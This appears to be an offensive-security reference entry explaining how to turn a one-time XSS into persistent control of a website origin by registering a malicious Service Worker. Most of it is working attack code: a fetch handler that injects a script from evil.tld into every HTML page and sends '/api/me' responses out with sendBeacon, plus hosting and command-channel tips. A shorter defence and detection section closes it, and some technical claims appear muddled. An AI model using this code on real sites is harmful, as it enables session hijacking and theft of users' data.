Service Worker persistence (post-XSS)
TL;DR: After a one-shot XSS, register a malicious Service Worker on the victim’s origin — it intercepts every future request to that origin, survives the original bug being patched, and outlives tab close.
What it is
A Service Worker is JavaScript installed under an origin + scope that the browser keeps running independently of any page. Once installed, the browser fetches fetch events through the worker for any URL under its scope, even after a hard reload. From an attacker’s perspective, registering a Service Worker via XSS converts a single execution into permanent origin-wide control: every subsequent navigation, every AJAX call, every form submission is mediated by attacker JS until the user explicitly unregisters it or clears site data.
Preconditions / where it applies
- XSS (any of stored, reflected, DOM, postMessage-driven) on the target origin.
- Origin served over HTTPS (Service Workers require secure context; localhost exempt).
- The Service Worker script is hosted on the same origin — usually achieved by uploading a JS file, hijacking a JS reflection endpoint, or using a same-origin open-redirect-to-blob.
Technique
Step 1 — host the SW script on the target origin. Options:
- File-upload sink that serves user content with
Content-Type: application/javascript(ortext/javascript— old browsers cared; modern requirestext/javascriptorapplication/javascript). - Reflection endpoint with controllable response body and content-type.
- A
BlobURL —URL.createObjectURL(new Blob([...], {type:'text/javascript'}))cannot be registered as a Service Worker (spec forbids), but a same-origin importScripts target inside an SW already registered can pull a blob.
Step 2 — register from the XSS payload:
1
2
navigator.serviceWorker.register('/uploads/sw.js', { scope: '/' })
.then(r => console.log('SW installed', r));
Step 3 — the SW script intercepts fetch and either modifies responses (inject XSS into every HTML page) or proxies sensitive responses to the attacker:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
self.addEventListener('install', e => self.skipWaiting());
self.addEventListener('activate', e => self.clients.claim());
self.addEventListener('fetch', e => {
e.respondWith((async () => {
const res = await fetch(e.request);
const ct = res.headers.get('content-type') || '';
if (ct.includes('text/html')) {
const body = (await res.text()).replace('</body>',
'<script src="https://evil.tld/h.js"></script></body>');
return new Response(body, { headers: res.headers });
}
if (e.request.url.includes('/api/me')) {
const body = await res.clone().text();
navigator.sendBeacon('https://evil.tld/c', body); // exfil
}
return res;
})());
});
Persistence properties:
- Survives tab close, reboot, browser update.
- Continues running even after the XSS bug is patched, until the user clears storage or the SW script returns 404 for 24h (browsers periodically refetch).
- Push API + Notifications can be subscribed for off-site command channel (
registration.pushManager.subscribe(...)).
Detection from attacker side: navigator.serviceWorker.controller should be non-null on subsequent visits.
Detection and defence
- Restrict where JS can be served from. CSP
worker-src 'self'+ only static, version-locked SW files. - Use HTTPS with HSTS and
Service-Worker-Allowedheaders to constrain scope. - Reject
Content-Type: text/javascripton user-upload endpoints (forcetext/plain+Content-Disposition: attachment). - Detection:
chrome://serviceworker-internals/, periodic enterprise telemetry of installed SWs per origin. Inspect Edge Defender ASR; modern Chromium enterprise policies (ServiceWorkerForOnRequestEvents) help. - Post-incident: rotate cookies/tokens AND have users clear site data — patching the XSS does not remove the installed SW. Push an
unregister.jsto the same origin during incident response.
See also cross-site-scripting, client-side-storage-attacks, mv3-extension-bypass.
References
- Akamai – Abusing the Service Workers API — practical persistence walkthrough
- W3C – Service Workers — normative spec
- HackTricks – Abuse Service Workers — exploitation patterns